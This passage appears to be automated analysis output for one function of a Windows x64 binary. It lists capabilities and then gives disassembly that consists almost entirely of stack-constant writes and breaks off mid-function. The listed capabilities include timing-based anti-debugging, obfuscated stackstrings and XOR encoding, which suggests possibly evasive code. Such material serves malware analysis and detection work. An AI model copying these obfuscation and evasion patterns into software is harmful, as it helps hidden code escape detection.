Function at 0x140002c90
Capabilities:
Accept command line arguments
Authenticate hmac
Check for time delay via queryperformancecounter
Check for unexpected memory writes
Check mutex on windows
Contain obfuscated stackstrings
Encode data using base64
Encode data using xor
Extract resource via kernel32 functions
Get disk information
Get file size
Get session user name
Parse pe header

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
mov eax, 0x334e8
call fcn.14028db40
sub rsp, rax
mov rax, qword [0x1402bc540]
xor rax, rsp
mov qword [rsp + 0x334d0], rax
mov byte [rsp + 0x40], 0x30
mov dword [rsp + 0x7e48], 0x6878
mov dword [rsp + 0x7e4c], 0x7f2f
mov eax, 0x753
mov word [rsp + 0x17c8], ax
mov dword [rsp + 0x7e50], 0xdada
mov eax, 0x43e
mov word [rsp + 0x17cc], ax
mov byte [rsp + 0x41], 5
mov byte [rsp + 0x42], 0xf0
mov byte [rsp + 0x43], 0x32
mov dword [rsp + 0x7e54], 0x8e1a
mov dword [rsp + 0x7e58], 0x309e
mov dword [rsp + 0x7e5c], 0x53b5
mov dword [rsp + 0x7e60], 0x6f80
mov byte [rsp + 0x44], reloc.SHELL32.dll_ILIsParent
mov byte [rsp + 0x45], 5
mov byte [rsp + 0x46], 0xbc
mov dword [rsp + 0x7e64], 0x5c6e
mov dword [rsp + 0x7e68], 0xef6b
mov dword [rsp + 0x7e6c], 0xb27c
mov eax, 0x2cc
mov word [rsp + 0x17d0], ax
mov dword [rsp + 0x7e70], 0xfcda
mov dword [rsp + 0x7e74], 0x68ee
mov dword [rsp + 0x7e78], 0xfb09
mov eax, 0x83
mov word [rsp + 0x17d4], ax
mov eax, 0xa51
mov word [rsp + 0x17d8], ax
mov eax, 0xf32
mov word [rsp + 0x17dc], ax
mov eax, 0x46
mov word [rsp + 0x17e0], ax
mov dword [rsp + 0x7e7c], 0x27b3
mov byte [rsp + 0x47], 0x5f
mov dword [rsp + 0x7e80], 0x4cae
mov byte [rsp + 0x48], 0xc1
mov dword [rsp + 0x7e84], 0x8e49
mov dword [rsp + 0x7e88], 0x6710
mov dword [rsp + 0x7e8c], 0x3865
mov eax, 0x196
mov word [rsp + 0x17e4], ax
mov dword [rsp + 0x7e90], 0x4cf9
mov dword [rsp + 0x7e94], 0xb7c9
mov dword [rsp + 0x7e98], 0x96e
mov byte [rsp + 0x49], 0xb5
mov dword [rsp + 0x7e9c], 0x691f
mov dword [rsp + 0x7ea0], 0xbd39
mov dword [rsp + 0x7ea4], 0x70d2
mov dword [rsp + 0x7ea8], 0x926d
mov eax, 0x6e4
mov word [rsp + 0x17e8], ax
mov dword [rsp + 0x7eac], 0xbe97
mov dword [rsp + 0x7eb0], 0x23e8
mov dword [rsp + 0x7eb4], 0x53eb
mov dword [rsp + 0x7eb8], 0x3385
mov byte [rsp + 0x4a], 0x87
mov dword [rsp + 0x7ebc], 0xfbbe
mov byte [rsp + 0x4b], 0xe2
mov eax, 0x232
mov word [rsp + 0x17ec], ax
mov byte [rsp + 0x4c], 0x57
mov dword [rsp + 0x7ec0], 0x35e6
mov dword [rsp + 0x7ec4], 0x444e
mov dword [rsp + 0x7ec8], 0x4664
mov eax, 0xd8c
mov word [rsp + 0x17f0], ax
mov dword [rsp + 0x7ecc], 0x37cb
mov dword [rsp + 0x7ed0], 0x2119
mov byte [rsp + 0x4d], 0x7b
mov dword [rsp + 0x7ed4], 0x3355
mov dword [rsp + 0x7ed8], 0x6b55
mov eax, 0x996
mov word [rsp + 0x17f4], ax
mov dword [rsp + 0x7edc], 0x7475
mov eax, 0x7b0
mov word [rsp + 0x17f8], ax
mov byte [rsp + 0x4e], 0x20
mov dword [rsp + 0x7ee0], 0xafc1
mov eax, 0xb13
mov word [rsp + 0x17fc], ax
mov dword [rsp + 0x7ee4], 0x7aaf
mov eax, 0xb9e
mov word [rsp + 0x1800], ax
mov byte [rsp + 0x4f], 0x7e
mov eax, 0x5f7
mov word [rsp + 0x1804], ax
mov eax, 0x8c
mov word [rsp + 0x1808], ax
mov dword [rsp + 0x7ee8], 0x5307
mov dword [rsp + 0x7eec], 0x7e64
mov dword [rsp + 0x7ef0], 0x5d0a
mov eax, 0x2bd
mov word [rsp + 0x180c], ax
mov eax, 0x3e9
mov word [rsp + 0x1810], ax
mov dword [rsp + 0x7ef4], 0xfcc8
mov byte [rsp + 0x50], 0x73
mov dword [rsp + 0x7ef8], 0x3014
mov byte [rsp + 0x51], 0x11
mov dword [rsp + 0x7efc], 0xd084
mov dword [rsp + 0x7f00], 0x319c
mov dword [rsp + 0x7f04], 0x410b
mov dword [rsp + 0x7f08], 0x24b1
mov dword [rsp + 0x7f0c], 0x6569
mov dword [rsp + 0x7f10], 0x4963
mov byte [rsp + 0x52], 9
mov dword [rsp + 0x7f14], 0xba26
mov dword [rsp + 0x7f18], 0x7cb
mov dword [rsp + 0x7f1c], 0x2b10
mov dword [rsp + 0x7f20], 0x4f1c
mov eax, 0xaa2
mov word [rsp + 0x1814], ax
mov dword [rsp + 0x7f24], 0x7219
mov dword [rsp + 0x7f28], 0x3546
mov byte [rsp + 0x53], 0x7b
mov byte [rsp + 0x54], 0x86
mov byte [rsp + 0x55], 0x25
mov dword [rsp + 0x7f2c], 0x2d1
mov byte [rsp + 0x56], 0xe1
mov dword [rsp + 0x7f30], 0xc9c1
mov dword [rsp + 0x7f34], 0x4577
mov dword [rsp + 0x7f38], 0x28b0
mov eax, 0x2f9
mov word [rsp + 0x1818], ax
mov dword [rsp + 0x7f3c], 0xf197
mov dword [rsp + 0x7f40], 0x3a47
mov dword [rsp + 0x7f44], 0x3833
mov byte [rsp + 0x57], 0x4e
mov dword [rsp + 0x7f48], 0x3d19
mov dword [rsp + 0x7f4c], 0x42af
mov dword [rsp + 0x7f50], 0x7686
mov dword [rsp + 0x7f54], 0x745c
mov dword [rsp + 0x7f58], 0x60a1
mov dword [rsp + 0x7f5c], 0x74da
mov dword [rsp + 0x7f60], 0xd28d
mov dword [rsp + 0x7f64], 0x2e3
mov dword [rsp + 0x7f68], 0x17ab
mov dword [rsp + 0x7f6c], 0x62fc
mov eax, 0x34b
mov word [rsp + 0x181c], ax
mov byte [rsp + 0x58], 0x65
mov dword [rsp + 0x7f70], 0x10ec
mov eax, 0x2c
mov word [rsp + 0x1820], ax
mov dword [rsp + 0x7f74], 0x6a43
mov dword [rsp + 0x7f78], 0x58cd
mov byte [rsp + 0x59], 0x7b
mov dword [rsp + 0x7f7c], 0x7b27
mov eax, 0x1e5
mov word [rsp + 0x1824], ax
mov dword [rsp + 0x7f80], 0x28de
mov dword [rsp + 0x7f84], 0x3cfe
mov dword [rsp + 0x7f88], 0x748
mov eax, 0x2fc
mov word [rsp + 0x1828], ax
mov dword [rsp + 0x7f8c], 0x6141
mov dword [rsp + 0x7f90], 0x552a
mov byte [rsp + 0x5a], 0x7a
mov byte [rsp + 0x5b], 0x73
mov byte [rsp + 0x5c], 0x2b
mov dword [rsp + 0x7f94], 0x2e40
mov dword [rsp + 0x7f98], 0x4d7b
mov eax, 0x2c8
mov word [rsp + 0x182c], ax
mov dword [rsp + 0x7f9c], 0x4208
mov dword [rsp + 0x7fa0], 0x77c2
mov dword [rsp + 0x7fa4], 0xe755
mov dword [rsp + 0x7fa8], 0x75b8
mov byte [rsp + 0x5d], 0xf9
mov dword [rsp + 0x7fac], 0x2dd
mov dword [rsp + 0x7fb0], 0x3ef5
mov byte [rsp + 0x5e], 0xe9
mov eax, 0x755
mov word [rsp + 0x1830], ax
mov byte [rsp + 0x5f], 0x3b
mov dword [rsp + 0x7fb4], 0x6e1a
mov dword [rsp + 0x7fb8], 0x31ed
mov dword [rsp + 0x7fbc], 0x1a51
mov eax, 0xbfb
mov word [rsp + 0x1834], ax
mov dword [rsp + 0x7fc0], 0xdec8
mov dword [rsp + 0x7fc4], 0x4bee
mov eax, 0x13d
mov word [rsp + 0x1838], ax
mov dword [rsp + 0x7fc8], 0x337c
mov dword [rsp + 0x7fcc], 0x2825
mov dword [rsp + 0x7fd0], 0x53d1
mov byte [rsp + 0x60], 0xdd
mov byte [rsp + 0x61], 0xcd
mov dword [rsp + 0x7fd4], 0xac62
mov dword [rsp + 0x7fd8], 0x7b98
mov dword [rsp + 0x7fdc], 0x73cf
mov dword [rsp + 0x7fe0], 0x7b18
mov byte [rsp + 0x62], ILFindChild
mov dword [rsp + 0x7fe4], 0x115b
mov dword [rsp + 0x7fe8], 0x71b5
mov eax, 0x73b
mov word [rsp + 0x183c], ax
mov dword [rsp + 0x7fec], 0x4be8
mov dword [rsp + 0x7ff0], 0x1636
mov dword [rsp + 0x7ff4], 0x77c
mov eax, 0x906
mov word [rsp + 0x1840], ax
mov dword [rsp + 0x7ff8], 0x27a6
mov dword [rsp + 0x7ffc], 0xee75
mov dword [rsp + 0x8000], 0x3aa0
mov eax, 0x814
mov word [rsp + 0x1844], ax
mov dword [rsp + 0x8004], 0x1623
mov dword [rsp + 0x8008], 0xa760
mov eax, 0x6e9
mov word [rsp + 0x1848], ax
mov dword [rsp + 0x800c], 0x5bf7
mov dword [rsp + 0x8010], 0xf3f
mov eax, 0x512
mov word [rsp + 0x184c], ax
mov eax, 0xa70
mov word [rsp + 0x1850], ax
mov byte [rsp + 0x63], 0x72
mov dword [rsp + 0x8014], 0x2fc5
mov eax, 0x375
mov word [rsp + 0x1854], ax
mov dword [rsp + 0x8018], 0x4ac0
mov eax, 0x32a
mov word [rsp + 0x1858], ax
mov dword [rsp + 0x801c], 0x34ac
mov eax, 0x5c7
mov word [rsp + 0x185c], ax
mov byte [rsp + 0x64], 0x4a
mov byte [rsp + 0x65], 0xf2
mov dword [rsp + 0x8020], 0x4e65
mov dword [rsp + 0x8024], 0x59c6
mov dword [rsp + 0x8028], 0x56bf
mov dword [rsp + 0x802c], 0x6d5e
mov dword [rsp + 0x8030], 0xde2
mov dword [rsp + 0x8034], 0x39e7
mov byte [rsp + 0x66], 0x42
mov eax, 0xbd9
mov word [rsp + 0x1860], ax
mov eax, 0x3ed
mov word [rsp + 0x1864], ax
mov byte [rsp + 0x67], 0x61
mov dword [rsp + 0x8038], 0x1e4c
mov dword [rsp + 0x803c], 0x26f
mov byte [rsp + 0x68], 0xc0
mov byte [rsp + 0x69], 0x40
mov dword [rsp + 0x8040], 0x6195
mov byte [rsp + 0x6a], 0x47
mov eax, 0x248
mov word [rsp + 0x1868], ax
mov eax, 0x26
mov word [rsp + 0x186c], ax
mov dword [rsp + 0x8044], 0x2543
mov eax, 0x159
mov word [rsp + 0x1870], ax
mov dword [rsp + 0x8048], 0x6320
mov dword [rsp + 0x804c], 0xce11
mov eax, 0xcb1
mov word [rsp + 0x1874], ax
mov dword [rsp + 0x8050], 0xa1d
mov eax, 0x2a
mov word [rsp + 0x1878], ax
mov eax, 0x2b6
mov word [rsp + 0x187c], ax
mov dword [rsp + 0x8054], 0x2f5e
mov byte [rsp + 0x6b], 6
mov dword [rsp + 0x8058], 0x32f6
mov dword [rsp + 0x805c], 0x9665
mov dword [rsp + 0x8060], 0xa7d
mov dword [rsp + 0x8064], 0x1487
mov dword [rsp + 0x8068], 0x5e24
mov eax, 0x6d2
mov word [rsp + 0x1880], ax
mov dword [rsp + 0x806c], 0x1c11
mov dword [rsp + 0x8070], 0x344
mov byte [rsp + 0x6c], 0x4d
mov dword [rsp + 0x8074], 0x4b8d
mov dword [rsp + 0x8078], 0xc0fe
mov dword [rsp + 0x807c], 0x584c
mov byte [rsp + 0x6d], 0xf1
mov dword [rsp + 0x8080], 0xc38
mov byte [rsp + 0x6e], 0x9e
mov dword [rsp + 0x8084], 0x3b11
mov eax, 0xb6
mov word [rsp + 0x1884], ax
mov dword [rsp + 0x8088], 0xd5e1
mov dword [rsp + 0x808c], 0x1940
mov dword [rsp + 0x8090], 0xfb2
mov dword [rsp + 0x8094], 0x5f2a
mov dword [rsp + 0x8098], 0x4daf
mov dword [rsp + 0x809c], 0x6bc3
mov eax, 0xdfb
mov word [rsp + 0x1888], ax
mov byte [rsp + 0x6f], 9
mov byte [rsp + 0x70], ILSaveToStream
mov dword [rsp + 0x80a0], 0x2260
mov byte [rsp + 0x71], 0x6e
mov dword [rsp + 0x80a4], 0x1472
mov byte [rsp + 0x72], 0x56
mov eax, 0x88c
mov word [rsp + 0x188c], ax
mov byte [rsp + 0x73], 0x51
mov dword [rsp + 0x80a8], 0x996b
mov byte [rsp + 0x74], 0x73
mov eax, 0x5b5
mov word [rsp + 0x1890], ax
mov byte [rsp + 0x75], 0xb
mov eax, 0xf10
mov word [rsp + 0x1894], ax
mov dword [rsp + 0x80ac], 0x51dc
mov eax, 0xb4e
mov word [rsp + 0x1898], ax
mov dword [rsp + 0x80b0], 0x46b
mov dword [rsp + 0x80b4], 0xa4b0
mov dword [rsp + 0x80b8], 0x11f3
mov eax, 0xa93
mov word [rsp + 0x189c], ax
mov dword [rsp + 0x80bc], 0x284c
mov dword [rsp + 0x80c0], 0xd7d7
mov eax, 0x152
mov word [rsp + 0x18a0], ax
mov byte [rsp + 0x76], 0x6f
mov byte [rsp + 0x77], 0xba
mov dword [rsp + 0x80c4], 0x51db
mov dword [rsp + 0x80c8], 0x1c88
mov dword [rsp + 0x80cc], 0x5e6c
mov byte [rsp + 0x78], ILFindChild
mov eax, 0x115
mov word [rsp + 0x18a4], ax
mov dword [rsp + 0x80d0], 0x975
mov dword [rsp + 0x80d4], 0x1ee1
mov byte [rsp + 0x79], 0x1f
mov byte [rsp + 0x7a], 0x88
mov dword [rsp + 0x80d8], 0x882f
mov dword [rsp + 0x80dc], 0x2d35
mov eax, 0xf27
mov word [rsp + 0x18a8], ax
mov dword [rsp + 0x80e0], 0xc21b
mov dword [rsp + 0x80e4], 0xe8f3
mov dword [rsp + 0x80e8], 0x60df
mov dword [rsp + 0x80ec], 0x23e5
mov dword [rsp + 0x80f0], 0x49ad
mov eax, 0x77a
mov word [rsp + 0x18ac], ax
mov eax, 0x764
mov word [rsp + 0x18b0], ax
mov dword [rsp + 0x80f4], 0x4f73
mov dword [rsp + 0x80f8], 0x30f9
mov byte [rsp + 0x7b], 3
mov byte [rsp + 0x7c], 0xab
mov byte [rsp + 0x7d], 7
mov dword [rsp + 0x80fc], 0x6b00
mov eax, 0x39b
mov word [rsp + 0x18b4], ax
mov eax, 0x62e
mov word [rsp + 0x18b8], ax
mov eax, 0xade
mov word [rsp + 0x18bc], ax
mov dword [rsp + 0x8100], 0x8fa
mov byte [rsp + 0x7e], 0x33
mov eax, 0xcc
mov word [rsp + 0x18c0], ax
mov byte [rsp + 0x7f], 0x51
mov dword [rsp + 0x8104], 0xcc2e
mov dword [rsp + 0x8108], 0x1d83
mov dword [rsp + 0x810c], 0xb2c1
mov eax, 0x179
mov word [rsp + 0x18c4], ax
mov eax, 0xa4
mov word [rsp + 0x18c8], ax
mov byte [rsp + 0x80], 0x76
mov dword [rsp + 0x8110], 0x41bf
mov byte [rsp + 0x81], 0x4e
mov dword [rsp + 0x8114], 0x1b00
mov dword [rsp + 0x8118], 0x4f24
mov dword [rsp + 0x811c], 0x5603
mov dword [rsp + 0x8120], 0x189f
mov eax, 0x236
mov word [rsp + 0x18cc], ax
mov dword [rsp + 0x8124], 0x493c
mov dword [rsp + 0x8128], 0x1cee
mov dword [rsp + 0x812c], 0x4ae1
mov dword [rsp + 0x8130], 0x1417
mov dword [rsp + 0x8134], 0x582a
mov dword [rsp + 0x8138], 0x2257
mov eax, 0xf04
mov word [rsp + 0x18d0], ax
mov dword [rsp + 0x813c], 0x4b8b
mov dword [rsp + 0x8140], 0x4506
mov eax, 0x3d2
mov word [rsp + 0x18d4], ax
mov dword [rsp + 0x8144], 0x17a8
mov byte [rsp + 0x82], 0xbb
mov eax, 0x6b
mov word [rsp + 0x18d8], ax
mov dword [rsp + 0x8148], 0x224a
mov eax, 0x244
mov word [rsp + 0x18dc], ax
mov eax, 0x3a7
mov word [rsp + 0x18e0], ax
mov eax, 0xf8a
mov word [rsp + 0x18e4], ax
mov dword [rsp + 0x814c], 0x5cd7
mov dword [rsp + 0x8150], 0x4ddc
mov dword [rsp + 0x8154], 0x4a9e
mov eax, 0xd45
mov word [rsp + 0x18e8], ax
mov dword [rsp + 0x8158], 0x6d0b
mov eax, 0xb0d
mov word [rsp + 0x18ec], ax
mov eax, 0x586
mov word [rsp + 0x18f0], ax
mov dword [rsp + 0x815c], 0x4876
mov dword [rsp + 0x8160], 0x68a2
mov dword [rsp + 0x8164], 0x41fe
mov byte [rsp + 0x83], 0x48
mov dword [rsp + 0x8168], 0x86da
mov byte [rsp + 0x84], 0x39
mov byte [rsp + 0x85], 0xcd
mov byte [rsp + 0x86], ILFindChild
mov dword [rsp + 0x816c], 0x3679
mov dword [rsp + 0x8170], 0x38cf
mov dword [rsp + 0x8174], 0x2998
mov dword [rsp + 0x8178], 0x3661
mov dword [rsp + 0x817c], 0xe767
mov dword [rsp + 0x8180], 0x7526
mov dword [rsp + 0x8184], 0x32e1
mov byte [rsp + 0x87], ILFindChild
mov dword [rsp + 0x8188], 0x695f
mov dword [rsp + 0x818c], 0x6b22
mov dword [rsp + 0x8190], 0x2ff
mov byte [rsp + 0x88], 0x58
mov dword [rsp + 0x8194], 0x4285
mov dword [rsp + 0x8198], 0x2291
mov byte [rsp + 0x89], 0x37
mov eax, 0x62b
mov word [rsp + 0x18f4], ax
mov byte [rsp + 0x8a], 0xce
mov dword [rsp + 0x819c], 0xd25a
mov dword [rsp + 0x81a0], 0xfdc3
mov dword [rsp + 0x81a4], 0x2dac
mov dword [rsp + 0x81a8], 0x3592
mov dword [rsp + 0x81ac], 0x507a
mov dword [rsp + 0x81b0], 0x67f3
mov eax, 0x11e
mov word [rsp + 0x18f8], ax
mov eax, 0xde5
mov word [rsp + 0x18fc], ax
mov byte [rsp + 0x8b], 0x28
mov dword [rsp + 0x81b4], 0x55d3
mov dword [rsp + 0x81b8], 0x58a3
mov eax, 0x303
mov word [rsp + 0x1900], ax
mov eax, 0x7c0
mov word [rsp + 0x1904], ax
mov eax, 0x5ab
mov word [rsp + 0x1908], ax
mov byte [rsp + 0x8c], 0xd1
mov dword [rsp + 0x81bc], 0x19fa
mov dword [rsp + 0x81c0], 0x528f
mov dword [rsp + 0x81c4], 0x4153
mov dword [rsp + 0x81c8], 0x3168
mov byte [rsp + 0x8d], 0x96
mov dword [rsp + 0x81cc], 0x6339
mov dword [rsp + 0x81d0], 0x9e0b
mov eax, 0x841
mov word [rsp + 0x190c], ax
mov dword [rsp + 0x81d4], 0xddf6
mov dword [rsp + 0x81d8], 0x410f
mov dword [rsp + 0x81dc], 0x54a1
mov dword [rsp + 0x81e0], 0x3fcc
mov byte [rsp + 0x8e], 0x93
mov byte [rsp + 0x8f], 0xbd
mov dword [rsp + 0x81e4], 0xc01c
mov dword [rsp + 0x81e8], 0xd369
mov dword [rsp + 0x81ec], 0xf49b
mov dword [rsp + 0x81f0], 0x7c21
mov dword [rsp + 0x81f4], 0x48a
mov byte [rsp + 0x90], 0x90
mov dword [rsp + 0x81f8], 0x2ee9
mov byte [rsp + 0x91], 0x79
mov dword [rsp + 0x81fc], 0x7f01
mov byte [rsp + 0x92], 0x5c
mov dword [rsp + 0x8200], 0x6573
mov byte [rsp + 0x93], 0x8c
mov dword [rsp + 0x8204], 0x7d91
mov eax, 0x8db
mov word [rsp + 0x1910], ax
mov eax, 0x2d6
mov word [rsp + 0x1914], ax
mov byte [rsp + 0x94], 0x8b
mov eax, 0x5bd
mov word [rsp + 0x1918], ax
mov dword [rsp + 0x8208], 0x2a5d
mov dword [rsp + 0x820c], 0x1778
mov eax, 0xca0
mov word [rsp + 0x191c], ax
mov eax, 0xb31
mov word [rsp + 0x1920], ax
mov byte [rsp + 0x95], 0x8c
mov dword [rsp + 0x8210], 0x7899
mov byte [rsp + 0x96], 0xcf
mov eax, 0x7cd
mov word [rsp + 0x1924], ax
mov dword [rsp + 0x8214], 0x4742
mov byte [rsp + 0x97], 0x40
mov byte [rsp + 0x98], 0x65
mov eax, 0x7e6
mov word [rsp + 0x1928], ax
mov dword [rsp + 0x8218], 0x1de2
mov dword [rsp + 0x821c], 0xb267
mov dword [rsp + 0x8220], 0x5397
mov eax, 0x1e9
mov word [rsp + 0x192c], ax
mov dword [rsp + 0x8224], 0x2675
mov dword [rsp + 0x8228], 0x2f13
mov dword [rsp + 0x822c], 0xfc38
mov eax, 0x937
mov word [rsp + 0x1930], ax
mov dword [rsp + 0x8230], 0x3eab
mov dword [rsp + 0x8234], 0x6000
mov eax, 0x7f5
mov word [rsp + 0x1934], ax
mov dword [rsp + 0x8238], 0xfbf1
mov dword [rsp + 0x823c], 0x47d5
mov byte [rsp + 0x99], reloc.SHELL32.dll_ILIsParent
mov dword [rsp + 0x8240], 0x745b
mov dword [rsp + 0x8244], 0x3860
mov dword [rsp + 0x8248], 0x7104
mov eax, 0xa92
mov word [rsp + 0x1938], ax
mov byte [rsp + 0x9a], 0x9f
mov dword [rsp + 0x824c], 0x1619
mov dword [rsp + 0x8250], 0x371b
mov dword [rsp + 0x8254], 0xa49
mov eax, 0x85b
mov word [rsp + 0x193c], ax
mov eax, 0x4a5
mov word [rsp + 0x1940], ax
mov byte [rsp + 0x9b], 0x37
mov dword [rsp + 0x8258], 0x3dd5
mov byte [rsp + 0x9c], 0x24
mov dword [rsp + 0x825c], 0xbd4f
mov dword [rsp + 0x8260], 0x4b72
mov dword [rsp + 0x8264], 0x31e3
mov byte [rsp + 0x9d], 0x3e
mov dword [rsp + 0x8268], 0x46a1
mov dword [rsp + 0x826c], 0x204
mov dword [rsp + 0x8270], 0x3984
mov dword [rsp + 0x8274], 0x78ba
mov dword [rsp + 0x8278], 0x2000
mov dword [rsp + 0x827c], 0x7678
mov dword [rsp + 0x8280], 0x39f
mov dword [rsp + 0x8284], 0xfd8c
mov dword [rsp + 0x8288], 0x681a
mov dword [rsp + 0x828c], 0x1912
mov dword [rsp + 0x8290], 0x4d18
mov dword [rsp + 0x8294], 0xecf
mov byte [rsp + 0x9e], 0x7e
mov dword [rsp + 0x8298], 0x33b8
mov eax, 0xe22
mov word [rsp + 0x1944], ax
mov eax, 0xb69
mov word [rsp + 0x1948], ax
mov eax, 0x3b0
mov word [rsp + 0x194c], ax
mov dword [rsp + 0x829c], 0x486c
mov byte [rsp + 0x9f], 0x61
mov eax, 0x2bd
mov word [rsp + 0x1950], ax
mov byte [rsp + 0xa0], 0x8f
mov byte [rsp + 0xa1], 0x40
mov byte [rsp + 0xa2], 0x32
mov eax, 0x545
mov word [rsp + 0x1954], ax
mov dword [rsp + 0x82a0], 0x784
mov dword [rsp + 0x82a4], 0x1bde
mov dword [rsp + 0x82a8], 0x2f7e
mov dword [rsp + 0x82ac], 0x46e
mov byte [rsp + 0xa3], ILIsParent
mov byte [rsp + 0xa4], 0x4b
mov byte [rsp + 0xa5], 0xdd
mov dword [rsp + 0x82b0], 0x5b9f
mov dword [rsp + 0x82b4], 0x7f12
mov dword [rsp + 0x82b8], 0xa2d3
mov eax, 0xdae
mov word [rsp + 0x1958], ax
mov byte [rsp + 0xa6], 0x58
mov eax, 0xa24
mov word [rsp + 0x195c], ax
mov dword [rsp + 0x82bc], 0x1801
mov dword [rsp + 0x82c0], 0x5307
mov dword [rsp + 0x82c4], 0x6236
mov byte [rsp + 0xa7], 0x59
mov byte [rsp + 0xa8], 0x95
mov dword [rsp + 0x82c8], 0xb23b
mov dword [rsp + 0x82cc], 0x3ff7
mov eax, 0x37f
mov word [rsp + 0x1960], ax
mov eax, 0x137
mov word [rsp + 0x1964], ax
mov dword [rsp + 0x82d0], 0x5380
mov byte [rsp + 0xa9], 0x60
mov byte [rsp + 0xaa], 0xcf
mov byte [rsp + 0xab], 0x3a
mov dword [rsp + 0x82d4], 0x117d
mov dword [rsp + 0x82d8], 0x3714
mov dword [rsp + 0x82dc], 0xad6
mov dword [rsp + 0x82e0], 0x2a48
mov dword [rsp + 0x82e4], 0x6f9d
mov dword [rsp + 0x82e8], 0x4488
mov eax, 0x68f
mov word [rsp + 0x1968], ax
mov eax, 0xb18
mov word [rsp + 0x196c], ax
mov byte [rsp + 0xac], 0x38
mov eax, 0x366
mov word [rsp + 0x1970], ax
mov eax, 0x415
mov word [rsp + 0x1974], ax
mov dword [rsp + 0x82ec], 0xe9e9
mov byte [rsp + 0xad], 0xd
mov dword [rsp + 0x82f0], 0xbcec
mov eax, 0xe13
mov word [rsp + 0x1978], ax
mov dword [rsp + 0x82f4], 0x6e15
mov dword [rsp + 0x82f8], 0x5a3
mov byte [rsp + 0xae], 0x48
mov dword [rsp + 0x82fc], 0x28c
mov dword [rsp + 0x8300], 0x51c5
mov byte [rsp + 0xaf], 0x3f
mov dword [rsp + 0x8304], 0x661e
mov dword [rsp + 0x8308], 0x7512
mov dword [rsp + 0x830c], 0x19ed
mov byte [rsp + 0xb0], 0xe9
mov byte [rsp + 0xb1], reloc.SHELL32.dll_ILSaveToStream
mov dword [rsp + 0x8310], 0xbf39
mov dword [rsp + 0x8314], 0x12be
mov dword [rsp + 0x8318], 0xe1c
mov byte [rsp + 0xb2], 0x29
mov eax, 0xef
mov word [rsp + 0x197c], ax
mov dword [rsp + 0x831c], 0x525b
mov eax, 0x399
mov word [rsp + 0x1980], ax
mov byte [rsp + 0xb3], 0x4a
mov dword [rsp + 0x8320], 0x8f04
mov dword [rsp + 0x8324], 0x2e89
mov eax, 0x3e7
mov word [rsp + 0x1984], ax
mov dword [rsp + 0x8328], 0x6f2a
mov dword [rsp + 0x832c], 0x276c
mov dword [rsp + 0x8330], 0xdeb6
mov dword [rsp + 0x8334], 0x6249
mov dword [rsp + 0x8338], 0x47f3
mov dword [rsp + 0x833c], 0x6ef3
mov dword [rsp + 0x8340], 0x66b6
mov eax, 0xd23
mov word [rsp + 0x1988], ax
mov byte [rsp + 0xb4], 0x37
mov eax, 0xffd
mov word [rsp + 0x198c], ax
mov eax, 0xac
mov word [rsp + 0x1990], ax
mov byte [rsp + 0xb5], 0x4e
mov dword [rsp + 0x8344], 0x3611
mov dword [rsp + 0x8348], 0x7c84
mov dword [rsp + 0x834c], 0x4744
mov dword [rsp + 0x8350], 0x20be
mov byte [rsp + 0xb6], 0x6d
mov eax, 0x8aa
mov word [rsp + 0x1994], ax
mov dword [rsp + 0x8354], 0x4414
mov byte [rsp + 0xb7], 0x4a
mov dword [rsp + 0x8358], 0xc76
mov dword [rsp + 0x835c], 0xe9d
mov dword [rsp + 0x8360], 0x39b6
mov byte [rsp + 0xb8], 0xa1
mov dword [rsp + 0x8364], 0x7ae5
mov eax, 0x3f1
mov word [rsp + 0x1998], ax
mov dword [rsp + 0x8368], 0x8c32
mov byte [rsp + 0xb9], 0x80
mov byte [rsp + 0xba], 0xb0
mov dword [rsp + 0x836c], 0x1bcc
mov eax, 0x411
mov word [rsp + 0x199c], ax
mov byte [rsp + 0xbb], 0x4f
mov dword [rsp + 0x8370], 0x1d7
mov byte [rsp + 0xbc], 0xfe
mov dword [rsp + 0x8374], 0x22ff
mov dword [rsp + 0x8378], 0x39aa
mov dword [rsp + 0x837c], 0x598
mov dword [rsp + 0x8380], 0x2505
mov dword [rsp + 0x8384], 0xa743
mov eax, 0x603
mov word [rsp + 0x19a0], ax
mov dword [rsp + 0x8388], 0x482f
mov eax, 0xbe7
mov word [rsp + 0x19a4], ax
mov eax, 0xd8c
mov word [rsp + 0x19a8], ax
mov eax, 0x7ba
mov word [rsp + 0x19ac], ax
mov byte [rsp + 0xbd], 0x65
mov eax, 0x177
mov word [rsp + 0x19b0], ax
mov eax, 0xd12
mov word [rsp + 0x19b4], ax
mov byte [rsp + 0xbe], 0xf0
mov byte [rsp + 0xbf], 0xb4
mov dword [rsp + 0x838c], 0x18e6
mov byte [rsp + 0xc0], 0x8a
mov byte [rsp + 0xc1], 0x29
mov byte [rsp + 0xc2], 0x37
mov dword [rsp + 0x8390], 0x3c7b
mov dword [rsp + 0x8394], 0x451d
mov eax, 0xf92
mov word [rsp + 0x19b8], ax
mov dword [rsp + 0x8398], 0x23e9
mov dword [rsp + 0x839c], 0x5cb5
mov dword [rsp + 0x83a0], 0x48d2
mov dword [rsp + 0x83a4], 0x21c5
mov dword [rsp + 0x83a8], 0x5300
mov eax, 0x1fd
mov word [rsp + 0x19bc], ax
mov dword [rsp + 0x83ac], 0x1340
mov byte [rsp + 0xc3], 0xb5
mov dword [rsp + 0x83b0], 0x7496
mov eax, 0x721
mov word [rsp + 0x19c0], ax
mov dword [rsp + 0x83b4], 0xfdab
mov eax, 0xeaa
mov word [rsp + 0x19c4], ax
mov dword [rsp + 0x83b8], 0x7940
mov eax, 0x3d8
mov word [rsp + 0x19c8], ax
mov dword [rsp + 0x83bc], 0x187f
mov eax, 0xf67
mov word [rsp + 0x19cc], ax
mov eax, 0xa1
mov word [rsp + 0x19d0], ax
mov dword [rsp + 0x83c0], 0x537c
mov dword [rsp + 0x83c4], 0x6b33
mov byte [rsp + 0xc4], 0x67
mov dword [rsp + 0x83c8], 0x287
mov dword [rsp + 0x83cc], 0x6adb
mov byte [rsp + 0xc5], 0x7b
mov dword [rsp + 0x83d0], 0xcc48
mov dword [rsp + 0x83d4], 0x2d7a
mov eax, 0xda6
mov word [rsp + 0x19d4], ax
mov eax, 0xa3c
mov word [rsp + 0x19d8], ax
mov byte [rsp + 0xc6], 0xfd
mov dword [rsp + 0x83d8], 0x6b4d
mov dword [rsp + 0x83dc], 0x466a
mov dword [rsp + 0x83e0], 0x69ca
mov dword [rsp + 0x83e4], 0x6a3e
mov byte [rsp + 0xc7], ILFindChild
mov eax, 0x715
mov word [rsp + 0x19dc], ax
mov eax, 0x50c
mov word [rsp + 0x19e0], ax
